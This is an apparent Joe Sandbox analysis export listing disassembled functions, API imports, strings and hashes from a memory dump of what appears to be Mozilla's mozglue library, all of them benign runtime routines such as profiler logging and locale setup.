Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C65ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

0, xrefs: 6C6CA5FB
z, xrefs: 6C6CA6AE

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 6C65B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6AC

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C65B61E), ref: 6C65B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B79A

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction ID: 25f7ad8c1ce3fb9c4c211db8e93f4453b592f1bf7e2131b02846affe1d512b41
Opcode Fuzzy Hash: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction Fuzzy Hash: 5C41D5B2D001159FCB04DF68DC806AFB7B5FF85324F650669E825E7780E731A9148BE9

Function 6C6CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C696590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6967C8

Part of subcall function 6C6A4290: memcpy.VCRUNTIME140(?,?,6C6B2003,6C6B0AD9,?,6C6B0AD9,00000000,?,6C6B0AD9,?,00000004,?,6C6B1A62,?,6C6B2003,?), ref: 6C6A42C4

Strings

data, xrefs: 6C696593
vml, xrefs: 6C69696C

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vml
API String ID: 511789754-3335688618
Opcode ID: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction ID: 20ff2b914093ae74997b57c34fa08c7436a05d9ac23ef9eda6ba70f89351a345
Opcode Fuzzy Hash: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction Fuzzy Hash: F9D1CE75A083419FD764CF25C840B9EB7E5AFC6308F10492EE58987B51EB30E949CB9B

Function 6C68D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
free.MOZGLUE(?), ref: 6C68D888

Strings

|Enabled, xrefs: 6C68D81E
Wel, xrefs: 6C68D5D9, 6C68D63F

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wel$|Enabled
API String ID: 4142949111-1036103015
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C6A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 6C661640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C661699
VerSetConditionMask.NTDLL ref: 6C6616CB
VerSetConditionMask.NTDLL ref: 6C6616D7
VerSetConditionMask.NTDLL ref: 6C6616DE
VerSetConditionMask.NTDLL ref: 6C6616E5
VerSetConditionMask.NTDLL ref: 6C6616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6616F9

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction ID: 5ebc18347cdce2e6c4c196cc0c98d8f41758e16dacbf56acbe91b7dc95ca951f
Opcode Fuzzy Hash: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction Fuzzy Hash: AA21D5B07442086BEB105A66CC85FFBB37CDFC6704F044528F6459B5C0C675AD54C6AA

Function 6C69F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction ID: 0bd65e644daed088f08fe6fcc9a834646c2bc799f70e34fbc658b7f133535696
Opcode Fuzzy Hash: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction Fuzzy Hash: 4D119175201206ABCB44AF5AC8889A97779FFC6759F550416FA0583F01CB71B812CBAE

Function 6C6B76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C6B7705

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C6B778F,00000000,00000000,00000000,00000000), ref: 6C6B7731
free.MOZGLUE(00000000), ref: 6C6B7760

Strings

}>il, xrefs: 6C6B76C4

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>il
API String ID: 2538299546-1725928026
Opcode ID: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction ID: 69dadac1c372adee9e4d185efa5b35e7bcfef7ba5702c5b4d1b166416e3f892e
Opcode Fuzzy Hash: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction Fuzzy Hash: C811C4B19042156BE710AF7A9C44BABBEE8EF46354F044439F848E7300E7709850C7F6

Function 6C660EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C68D9F0,00000000), ref: 6C660F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C660F3C
__Init_thread_footer.LIBCMT ref: 6C660F50
FreeLibrary.KERNEL32(?,6C68D9F0,00000000), ref: 6C660F86

Strings

combase.dll, xrefs: 6C660F18
CoInitializeEx, xrefs: 6C660F36

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
